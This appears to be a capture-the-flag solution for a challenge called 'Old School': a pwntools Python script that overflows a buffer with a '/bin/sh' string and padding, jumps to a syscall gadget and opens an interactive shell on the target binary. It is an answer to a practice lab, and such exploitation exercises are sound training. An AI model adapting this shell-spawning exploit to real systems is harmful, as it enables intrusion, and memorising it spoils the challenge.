Old School

#buffer-overflow#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm

elf = ELF("./old_school_patched")
rop = ROP(elf)

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b *0x401019
"""


def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()
    syscall = 0x4010b8

    offset = b'/bin/sh\0'.ljust(40,b'i')

    payload = offset + p64(syscall) + b'i' * (0x3b - 0x31) 

    r.sendline(payload)
    r.clean()
    r.interactive()




if __name__ == "__main__":
    main()